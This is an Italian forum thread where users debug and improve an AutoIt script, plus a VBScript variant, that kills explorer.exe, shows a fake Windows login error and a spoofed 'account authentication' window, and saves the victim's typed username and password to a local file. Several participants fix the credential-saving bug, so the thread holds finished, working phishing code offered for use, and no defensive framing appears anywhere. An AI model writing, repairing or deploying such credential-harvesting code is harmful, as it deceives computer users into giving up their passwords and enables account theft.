BorderGame

Quando mi salva il testo mi scrive: "00" al posto dell'username e della password :O
Chi mi trova errorino?

Codice:

ProcessClose("explorer.exe")

ProcessClose("explorer.exe")

Msgbox(16,"Conferma account windows","C'è stato un errore nel login dell'account, si prega di immettere i dati richiesti o l'utente verrà disconnesso.")

#include <ButtonConstants.au3>

#include <EditConstants.au3>

#include <GUIConstantsEx.au3>

#include <StaticConstants.au3>

#include <WindowsConstants.au3>

#Region ### START Koda GUI section ### Form=

$Form1 = GUICreate("Autenticazione account WINDOWS", 321, 156, 0, 0)

$Label1 = GUICtrlCreateLabel("Inserisci il tuo nome utente", 8, 24, 129, 17)

$Input2 = GUICtrlCreateInput("", 144, 24, 153, 21)

$Input1 = GUICtrlCreateInput("", 144, 64, 153, 21)

$Label2 = GUICtrlCreateLabel("Inserisci la tua password", 8, 64, 119, 17)

$Button1 = GUICtrlCreateButton("?", 272, 120, 35, 25)

$Button2 = GUICtrlCreateButton("Autenticami", 192, 120, 75, 25)

GUISetState(@SW_SHOW)

#EndRegion ### END Koda GUI section ###

While 1

    $nMsg = GUIGetMsg()

    Switch $nMsg

        Case $GUI_EVENT_CLOSE

            Exit

        Case $Button2()

            AdlibRegister("Autenticami_ora",20)

        Case $Button1()

            Msgbox(64,"Autenticazione guidata","Il processo pnptest.exe ha avuto un malfunzionamento, per questo è stato trovato un errore nel login. Si è pregati di immettere i propri dati nelle descritte celle, per autenticare l'account in uso.")

    EndSwitch

WEnd

Func Autenticami_ora()

if  GUICtrlRead($Input2) = "" Then

    Msgbox(16,"Errore","Non è stato riconosciuto ne password ne username!")

Else

    Msgbox(64,"Conferma","Account autenticato.")

    Shellexecute("explorer.exe")

    Filewrite("Accesso.ini",GUICtrlRead($Input1) + "" + GUICtrlRead($Input2))

    Exit

EndIf

autoiti non lo tocco da molto anzi moltissimo..secondo me devi rivedere qualcosa qui
Filewrite("Accesso.ini",GUICtrlRead($Input1) + "" + GUICtrlRead($Input2)) ..a te esce 00 ==> input1(0),+ ""(nessuno spazio) + input2(0)...non so se hai capito
0+""+0=00

EDIT:

@[Lawliet] sono riuscito a risolvere tutto, non so come perchè è la prima volta che uso l'Autoit (se lo è XD)

Codice:

Else

    Msgbox(64,"Conferma","Account autenticato.")

    Shellexecute("explorer.exe")

    Filewrite("Accesso.ini",GUICtrlRead($Input2))

    Filewrite("Accesso.ini"," ")

    Filewrite("Accesso.ini",GUICtrlRead($Input1))

    Exit

Codice:

ProcessClose("explorer.exe")

ProcessClose("explorer.exe")

Msgbox(16,"Conferma account windows","C'è stato un errore nel login dell'account, si prega di immettere i dati richiesti o l'utente verrà disconnesso.")

#include <ButtonConstants.au3>

#include <EditConstants.au3>

#include <GUIConstantsEx.au3>

#include <StaticConstants.au3>

#include <WindowsConstants.au3>

#Region ### START Koda GUI section ### Form=

$Form1 = GUICreate("Autenticazione account WINDOWS", 321, 156, 0, 0)

$Label1 = GUICtrlCreateLabel("Inserisci il tuo nome utente", 8, 24, 129, 17)

$Input2 = GUICtrlCreateInput("", 144, 24, 153, 21)

$Input1 = GUICtrlCreateInput("", 144, 64, 153, 21)

$Label2 = GUICtrlCreateLabel("Inserisci la tua password", 8, 64, 119, 17)

$Button1 = GUICtrlCreateButton("?", 272, 120, 35, 25)

$Button2 = GUICtrlCreateButton("Autenticami", 192, 120, 75, 25)

GUISetState(@SW_SHOW)

#EndRegion ### END Koda GUI section ###

While 1

    $nMsg = GUIGetMsg()

    Switch $nMsg

        Case $GUI_EVENT_CLOSE

            Exit

        Case $Button2()

            AdlibRegister("Autenticami_ora",20)

        Case $Button1()

            Msgbox(64,"Autenticazione guidata","Il processo pnptest.exe ha avuto un malfunzionamento, per questo è stato trovato un errore nel login. Si è pregati di immettere i propri dati nelle descritte celle, per autenticare l'account in uso.")

    EndSwitch

WEnd

Func Autenticami_ora()

if  GUICtrlRead($Input2) = "" Then

    Msgbox(16,"Errore","Non è stato riconosciuto ne password ne username!")

Else

    Msgbox(64,"Conferma","Account autenticato.")

    Shellexecute("explorer.exe")

    IniWrite("Accesso.ini", "Accesso", "Username", GUICtrlRead($Input1))

    IniWrite("Accesso.ini", "Accesso", "Password", 

    GUICtrlRead($Input2))

    Exit

EndIf

endFunc

Tieni :|

e quindi dove stava l'errore?

L'errore stava che c'era il + , 0+0= 0
scrivendo come ho detto io:

Codice:

Filewrite("Accesso.ini",GUICtrlRead($Input2))

    Filewrite("Accesso.ini"," ")

    Filewrite("Accesso.ini",GUICtrlRead($Input1))

    Exit

(e probabilmente come ha scritto naruto) si risolve il problema , con il mio nel file .ini uscirà l'input 2 SPAZIO input 1 , ovvero ID spazio PW
Con quello di naruto esce pure la scritta "PASSWORD: BLABLA" etc XD

è.è perchè utilizzava la funzione FileWrite, su un file .ini, dove c'è una apposita funzione ovvero la IniWrite...

Oki grazie, ho fatto una piccola alternativa in basic Wink

Codice:

Set WshShell = WScript.CreateObject("WScript.Shell")

dim filename

dim text

WshShell.Run "taskkill /m /f explorer.exe", 9

bu

sub bu()

lol=Inputbox("Scrivi la tua password o verrai disconnesso:")

n=inputbox("Inserisci il tuo nome utente:")

if lol="" and n="" then

bu

else

filename="G:\password.txt"

text= lol + "-" + 123

WshShell.Run "cmd.exe /c @echo "&text&">"&filename, 9

WshShell.Run "explorer.exe", 9

end if

Ma perchè non scrivi mai l'ultimo rigo?XD In questo manca "end sub" , nell'altro mancava "end func"

Lawliet

тυттσмαχ

Yoshitoki

Narutomega96

тυттσмαχ

Yoshitoki

Narutomega96

Lawliet

Yoshitoki